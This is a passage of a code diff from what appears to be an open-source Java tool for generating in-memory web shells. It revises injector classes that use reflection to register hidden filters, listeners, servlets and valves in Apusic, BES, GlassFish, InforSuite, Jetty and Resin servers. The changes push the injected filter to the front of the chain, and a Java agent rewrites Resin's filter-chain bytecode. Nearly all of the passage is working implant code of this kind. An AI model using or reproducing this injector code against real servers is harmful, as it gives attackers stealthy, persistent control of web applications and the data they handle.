+                        .and(ElementMatchers.takesArguments(Object.class))
-                    " the method body will be auto adapted for multi server");
+                        .and(ElementMatchers.returns(Object.class)))
+                .isEmpty()) {
+            throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
+                    " make sure arg and return type is Object.class");
         } else {
             builder = builder
                     .visit(MethodCallReplaceVisitorWrapper.newInstance(
@@ -57,11 +59,13 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
                     .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
         }
 
-        if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
+        if (methods.filter(named("getFieldValue")
+                        .and(takesArguments(Object.class, String.class)))
+                .isEmpty()) {
             builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
                     .withParameters(Object.class, String.class)
                     .throwing(Exception.class)
-                    .intercept(StubMethod.INSTANCE)
+                    .intercept(FixedValue.nullValue())
                     .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
         }
         return builder;

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

@@ -8,7 +8,6 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.HashSet;
-import java.util.LinkedHashSet;
 import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -44,7 +43,7 @@ public class ApusicFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -146,12 +145,7 @@ public class ApusicFilterInjector {
         Object filterMapping = filterMappingClass.newInstance();
         invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
-        LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
+        invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
-        LinkedHashSet newSet = new LinkedHashSet();
-        newSet.add(filterMapping);
-        newSet.addAll(beforeFilterMappings);
-        beforeFilterMappings.clear();
-        beforeFilterMappings.addAll(newSet);
 
         // addFilterModel
         invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -224,25 +218,30 @@ public class ApusicFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

@@ -6,9 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.*;
-import java.util.Map;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -42,7 +40,7 @@ public class ApusicListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -199,25 +197,30 @@ public class ApusicListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

@@ -6,9 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.*;
-import java.util.Map;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -42,7 +40,7 @@ public class ApusicServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -200,25 +198,30 @@ public class ApusicServletInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

@@ -40,7 +40,7 @@ public class BesFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -105,7 +105,7 @@ public class BesFilterInjector {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+    private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -218,25 +218,30 @@ public class BesFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

@@ -36,7 +36,7 @@ public class BesListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

@@ -35,7 +35,7 @@ public class BesValveInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java

@@ -7,10 +7,7 @@ import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.*;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -43,7 +40,7 @@ public class GlassFishFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -129,18 +126,15 @@ public class GlassFishFilterInjector {
         }
         Object filterDef;
         Object filterMap;
-        Class<?> filterMapClass;
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         try {
             // tomcat v8+
             filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
-            filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
+            filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
-            filterMap = filterMapClass.newInstance();
         } catch (Exception e2) {
             // tomcat v5+
             filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
-            filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
+            filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
-            filterMap = filterMapClass.newInstance();
         }
 
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -151,16 +145,19 @@ public class GlassFishFilterInjector {
         }
         invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
         invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
+        Constructor<?>[] constructors;
         try {
             invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         } catch (Exception e) {
             // tomcat v5
             invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         }
-
+        try {
-        // addFilterMapFirst
+            // v7.0.0 以上
-        List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
+            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
-        filterMaps.add(0, filterMap);
+        } catch (Exception e) {
+            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+        }
 
         Constructor filterConfigConstructor;
         filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
@@ -231,39 +228,21 @@ public class GlassFishFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
-                return clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-            } catch (NoSuchFieldException ignored) {
+                field.setAccessible(true);
-
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
             }
         }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
 
 
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        try {
-            Field field = getField(obj, name);
-            field.setAccessible(true);
-            return field.get(obj);
-        } catch (NoSuchFieldException ignored) {
-        }
-        return null;
-    }
-
-
-    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
-        Field field = getField(obj, fieldName);
-        field.setAccessible(true);
-        field.set(obj, value);
-    }
-
-
     @SuppressWarnings("all")
     private String getErrorMessage(Throwable throwable) {
         PrintStream printStream = null;

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java

@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java

@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
-import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.*;
+import java.util.logging.Logger;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+    private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -128,28 +128,17 @@ public class InforSuiteFilterInjector {
         }
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
-        Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
+        Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
-        Object filterMap = filterMapClass.newInstance();
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
         invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
         invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
         invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
         invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
 
-        // addFilterMapFirst
         try {
-            Object filterMaps = getFieldValue(context, "filterMaps");
+            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
-            if (filterMaps instanceof List) {
-                // InforSuite9
-                ((List<Object>) filterMaps).add(0, filterMap);
-            }
         } catch (Exception e) {
-            // InforSuite10
+            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
-            Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
-            Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
-            results[0] = filterMap;
-            System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
-            setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
         }
 
         Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -203,54 +192,52 @@ public class InforSuiteFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Field field = getField(obj, fieldName);
-             clazz != Object.class;
-             clazz = clazz.getSuperclass()) {
-            try {
-                return clazz.getDeclaredField(name);
-            } catch (NoSuchFieldException ignored) {
-
-            }
-        }
-        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
-    }
-
-
-@SuppressWarnings("all")
-public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-    Field field = getField(obj, name);
         field.setAccessible(true);
         return field.get(obj);
     }
 
-
-public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
-    Field field = getField(obj, fieldName);
-    field.setAccessible(true);
-    field.set(obj, value);
-    }
-
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Class<?> clazz = obj.getClass();
-        Method method = null;
+        while (clazz != null) {
-        while (clazz != null && method == null) {
             try {
-                if (paramClazz == null) {
+                Field field = clazz.getDeclaredField(fieldName);
-                    method = clazz.getDeclaredMethod(methodName);
+                field.setAccessible(true);
-                } else {
+                return field;
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+            } catch (NoSuchFieldException e) {
-                }
-            } catch (NoSuchMethodException e) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (method == null) {
+        throw new NoSuchFieldException(fieldName);
-            throw new NoSuchMethodException("Method not found: " + methodName);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

@@ -5,7 +5,9 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.*;
+import java.util.ArrayList;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
@@ -42,7 +44,7 @@ public class JettyFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -84,55 +86,70 @@ public class JettyFilterInjector {
             return;
         }
 
-        String[][] filterHolderClassNames = new String[][]{
+        String[] classNames = new String[]{
-                new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
+                "org.eclipse.jetty.servlet.FilterHolder",
-                new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
+                "org.eclipse.jetty.ee8.servlet.FilterHolder",
-                new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
+                "org.eclipse.jetty.ee9.servlet.FilterHolder",
-                new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
+                "org.eclipse.jetty.ee10.servlet.FilterHolder",
-                new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
+                "org.eclipse.jetty.ee11.servlet.FilterHolder",
-                new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
+                "org.mortbay.jetty.servlet.FilterHolder",
         };
 
         Class<?> filterHolderClass = null;
-        Class<?> filterMappingClass = null;
 
-        for (String[] classNames : filterHolderClassNames) {
+        for (String className : classNames) {
             try {
-                filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
+                filterHolderClass = context.getClass().getClassLoader().loadClass(className);
-                filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
             } catch (ClassNotFoundException ignored) {
             }
         }
 
-        if (filterHolderClass == null || filterMappingClass == null) {
+        if (filterHolderClass == null) {
-            throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
+            throw new ClassNotFoundException("FilterHodler");
         }
 
         Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
         Object filterHolder = constructor.newInstance(filter.getClass());
         invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
-
+        invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
-        invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
+        moveFilterToFirst(servletHandler);
-
-        Object filterMapping = filterMappingClass.getConstructor().newInstance();
-        invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
-        invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
-        invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
-
-        Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
-        Object[] newMappings = null;
-        if (mappings == null || Array.getLength(mappings) == 0) {
-            newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
-        } else {
-            int length = Array.getLength(mappings);
-            newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
-            System.arraycopy(mappings, 0, newMappings, 1, length);
-        }
-        newMappings[0] = filterMapping;
-        invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
         invokeMethod(servletHandler, "invalidateChainsCache");
     }
 
+    private void moveFilterToFirst(Object servletHandler) throws Exception {
+        Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
+        ArrayList<Object> reorderedFilters = new ArrayList<Object>();
+        int filterLength;
+
+        if (filterMaps.getClass().isArray()) {
+            filterLength = Array.getLength(filterMaps);
+            for (int i = 0; i < filterLength; i++) {
+                Object filter = Array.get(filterMaps, i);
+                String filterName = (String) getFieldValue(filter, "_filterName");
+                if (filterName.equals(getClassName())) {
+                    reorderedFilters.add(0, filter);
+                } else {
+                    reorderedFilters.add(filter);
+                }
+            }
+            for (int i = 0; i < filterLength; i++) {
+                Array.set(filterMaps, i, reorderedFilters.get(i));
+            }
+        } else if (filterMaps instanceof ArrayList) {
+            ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
+            for (Object filter : filterList) {
+                String filterName = (String) getFieldValue(filter, "_filterName");
+                if (filterName.equals(getClassName())) {
+                    reorderedFilters.add(0, filter);
+                } else {
+                    reorderedFilters.add(filter);
+                }
+            }
+            filterList.clear();
+            filterList.addAll(reorderedFilters);
+        }
+    }
+
     @Override
     public String toString() {
         return msg;

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
-import java.util.EventListener;
+import java.util.*;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -32,7 +29,7 @@ public class JettyListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

@@ -5,7 +5,9 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.*;
+import java.util.ArrayList;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
@@ -40,7 +42,7 @@ public class JettyServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java

@@ -14,11 +14,9 @@ import java.util.zip.GZIPInputStream;
  * @since 2025/3/26
  */
 public class ResinFilterChainAgentInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
     private static final String TARGET_METHOD_NAME = "doFilter";
-    private static final String[] TARGET_CLASSES = new String[]{
+
-            "com/caucho/server/http/FilterChainFilter",
-            "com/caucho/server/dispatch/FilterFilterChain",
-    };
     public static String getClassName() {
         return "{{advisorName}}";
     }
@@ -40,10 +38,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
         inst.addTransformer(new ResinFilterChainAgentInjector(), true);
         for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
             String name = allLoadedClass.getName();
-            for (String targetClass : TARGET_CLASSES) {
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
-                if (targetClass.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
-                    inst.retransformClasses(allLoadedClass);
-                }
             }
         }
     }
@@ -52,24 +48,22 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
     @SuppressWarnings("all")
     public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
                             ProtectionDomain protectionDomain, byte[] bytes) {
-        for (String targetClass : TARGET_CLASSES) {
+        if (TARGET_CLASS.equals(className)) {
-            if (className.equals(targetClass)) {
+            defineTargetClass(loader);
-                defineTargetClass(loader);
+            try {
-                try {
+                ClassReader cr = new ClassReader(bytes);
-                    ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
-                    ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
-                        @Override
+                    protected ClassLoader getClassLoader() {
-                        protected ClassLoader getClassLoader() {
+                        return loader;
-                            return loader;
+                    }
-                        }
+                };
-                    };
+                ClassVisitor cv = getClassVisitor(cw);
-                    ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
-                    cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
